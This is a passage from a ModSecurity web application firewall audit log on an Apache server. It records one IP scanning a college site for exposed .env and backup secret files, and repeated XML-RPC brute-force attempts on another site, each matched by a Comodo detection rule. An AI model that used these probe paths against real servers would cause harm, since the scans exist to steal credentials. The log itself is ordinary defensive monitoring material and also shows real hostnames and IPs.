X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --94ffb61f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f15d051da7320c0048aad662945d601b1750021212; expires=Sun, 15 Jun 2025 22:00:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --94ffb61f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/universalresolver/.env"] [unique_id "aE80W3wizUED0-SK4eRIzQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021211826544 672739 (- - -) Stopwatch2: 1750021211826544 672739; combined=1862, p1=375, p2=1376, p3=0, p4=0, p5=111, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --94ffb61f-Z-- --fcd0875c-A-- [16/Jun/2025:02:30:17.871662 +0530] aE80YU-pZ3B--SoGku85igAAABE 185.177.72.210 38730 127.0.0.1 7081 --fcd0875c-B-- GET /Final_Project/Airflow_Dag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fcd0875c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=570d81fff16ada22eea1571bdc15eb521750021217; expires=Sun, 15 Jun 2025 22:00:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fcd0875c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Final_Project/Airflow_Dag/.env"] [unique_id "aE80YU-pZ3B--SoGku85igAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021217214986 656738 (- - -) Stopwatch2: 1750021217214986 656738; combined=1976, p1=400, p2=1482, p3=0, p4=0, p5=93, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fcd0875c-Z-- --252be417-A-- [16/Jun/2025:02:30:19.834769 +0530] aE80Y9xCjYf3vhjKXItwIgAAAA8 185.177.72.210 38810 127.0.0.1 7081 --252be417-B-- GET /.gitignore HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --252be417-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ffb67a84b8b1a492aa037de42a131191750021219; expires=Sun, 15 Jun 2025 22:00:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --252be417-H-- Message: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitignore"] [unique_id "aE80Y9xCjYf3vhjKXItwIgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021219176581 658261 (- - -) Stopwatch2: 1750021219176581 658261; combined=2242, p1=374, p2=1764, p3=0, p4=0, p5=103, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --252be417-Z-- --e6bcbc5c-A-- [16/Jun/2025:02:30:20.816355 +0530] aE80ZE-pZ3B--SoGku85iwAAABE 185.177.72.210 45272 127.0.0.1 7081 --e6bcbc5c-B-- GET /:8880/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e6bcbc5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8603fbe313cfe40c11be470ee4db8b341750021220; expires=Sun, 15 Jun 2025 22:00:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e6bcbc5c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/app/frontend/.env"] [unique_id "aE80ZE-pZ3B--SoGku85iwAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021220154430 661988 (- - -) Stopwatch2: 1750021220154430 661988; combined=2047, p1=385, p2=1571, p3=0, p4=0, p5=91, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6bcbc5c-Z-- --d9964510-A-- [16/Jun/2025:02:30:49.093690 +0530] aE80gFfWRcme38U-qk7phgAAAAI 128.199.112.101 38658 127.0.0.1 7081 --d9964510-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d9964510-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d9964510-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE80gFfWRcme38U-qk7phgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021248160501 933247 (- - -) Stopwatch2: 1750021248160501 933247; combined=2834, p1=485, p2=1890, p3=48, p4=69, p5=219, sr=142, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d9964510-Z-- --096fac58-A-- [16/Jun/2025:02:31:17.169325 +0530] aE80nNxCjYf3vhjKXItwNgAAAA8 185.177.72.210 45582 127.0.0.1 7081 --096fac58-B-- GET /backups/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --096fac58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33634db46d32dcf2cd90947a4a97a81b1750021276; expires=Sun, 15 Jun 2025 22:01:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --096fac58-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.staging"] [unique_id "aE80nNxCjYf3vhjKXItwNgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021276418535 750881 (- - -) Stopwatch2: 1750021276418535 750881; combined=1955, p1=463, p2=1415, p3=0, p4=0, p5=76, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --096fac58-Z-- --f887d26e-A-- [16/Jun/2025:02:31:42.296959 +0530] aE80tYv0YhcYGG7mzIpnRQAAABU 185.177.72.210 34152 127.0.0.1 7081 --f887d26e-B-- GET /:8888/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f887d26e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b0e9b48e05762c9cda65b8a5182884731750021302; expires=Sun, 15 Jun 2025 22:01:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f887d26e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/mail/.env"] [unique_id "aE80tYv0YhcYGG7mzIpnRQAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021301609316 687735 (- - -) Stopwatch2: 1750021301609316 687735; combined=1926, p1=397, p2=1403, p3=0, p4=0, p5=125, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f887d26e-Z-- --378e9c0e-A-- [16/Jun/2025:02:31:46.230014 +0530] aE80uVfWRcme38U-qk7powAAAAI 185.177.72.210 34314 127.0.0.1 7081 --378e9c0e-B-- GET /:8880/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --378e9c0e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bc46fe310a3b56d89f0dc72c0c81eed01750021306; expires=Sun, 15 Jun 2025 22:01:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --378e9c0e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.1"] [unique_id "aE80uVfWRcme38U-qk7powAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021305550439 679638 (- - -) Stopwatch2: 1750021305550439 679638; combined=1732, p1=358, p2=1254, p3=0, p4=0, p5=119, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --378e9c0e-Z-- --026f4751-A-- [16/Jun/2025:02:31:49.308842 +0530] aE80vGBSQiWwwCa-v2QD3gAAAAQ 185.177.72.210 34462 127.0.0.1 7081 --026f4751-B-- GET /settings/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --026f4751-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a2595ad05200ff66179795c5f077d8641750021309; expires=Sun, 15 Jun 2025 22:01:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --026f4751-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.bak"] [unique_id "aE80vGBSQiWwwCa-v2QD3gAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.bak"] [unique_id "aE80vGBSQiWwwCa-v2QD3gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021308607276 701628 (- - -) Stopwatch2: 1750021308607276 701628; combined=1666, p1=355, p2=1173, p3=0, p4=0, p5=138, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --026f4751-Z-- --19986b37-A-- [16/Jun/2025:02:31:49.385858 +0530] aE80vIl8S04UZ4l67-naCAAAAAk 128.199.112.101 34430 127.0.0.1 7081 --19986b37-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --19986b37-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --19986b37-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE80vIl8S04UZ4l67-naCAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021308455939 929973 (- - -) Stopwatch2: 1750021308455939 929973; combined=2120, p1=406, p2=1359, p3=38, p4=59, p5=160, sr=116, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --19986b37-Z-- --c6632c79-A-- [16/Jun/2025:02:31:58.153210 +0530] aE80xU-pZ3B--SoGku85tQAAABE 185.177.72.210 54172 127.0.0.1 7081 --c6632c79-B-- GET /:5601/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6632c79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba0516557a31431d625c437919eca1771750021318; expires=Sun, 15 Jun 2025 22:01:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6632c79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/pub/.env"] [unique_id "aE80xU-pZ3B--SoGku85tQAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021317502305 650970 (- - -) Stopwatch2: 1750021317502305 650970; combined=1895, p1=367, p2=1436, p3=0, p4=0, p5=92, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6632c79-Z-- --b63d723e-A-- [16/Jun/2025:02:32:18.313523 +0530] aE802SHEjD4mqWjYVm15MgAAABM 185.177.72.210 33676 127.0.0.1 7081 --b63d723e-B-- GET /:8888/system/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b63d723e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=935e8e4944d846d98661b98c12fb9d741750021338; expires=Sun, 15 Jun 2025 22:02:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b63d723e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/system/.env"] [unique_id "aE802SHEjD4mqWjYVm15MgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021337648115 665485 (- - -) Stopwatch2: 1750021337648115 665485; combined=1695, p1=401, p2=1190, p3=0, p4=0, p5=103, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b63d723e-Z-- --ce94d958-A-- [16/Jun/2025:02:32:20.427231 +0530] aE8024v0YhcYGG7mzIpnVgAAABU 185.177.72.210 33150 127.0.0.1 7081 --ce94d958-B-- GET /tmp/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce94d958-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a6b4313ddc1135632d0a30f3a3f9a191750021340; expires=Sun, 15 Jun 2025 22:02:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce94d958-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.old"] [unique_id "aE8024v0YhcYGG7mzIpnVgAAABU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.old"] [unique_id "aE8024v0YhcYGG7mzIpnVgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021339759784 667512 (- - -) Stopwatch2: 1750021339759784 667512; combined=2130, p1=458, p2=1529, p3=0, p4=0, p5=143, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce94d958-Z-- --73539776-A-- [16/Jun/2025:02:32:23.559807 +0530] aE803k-pZ3B--SoGku85vwAAABE 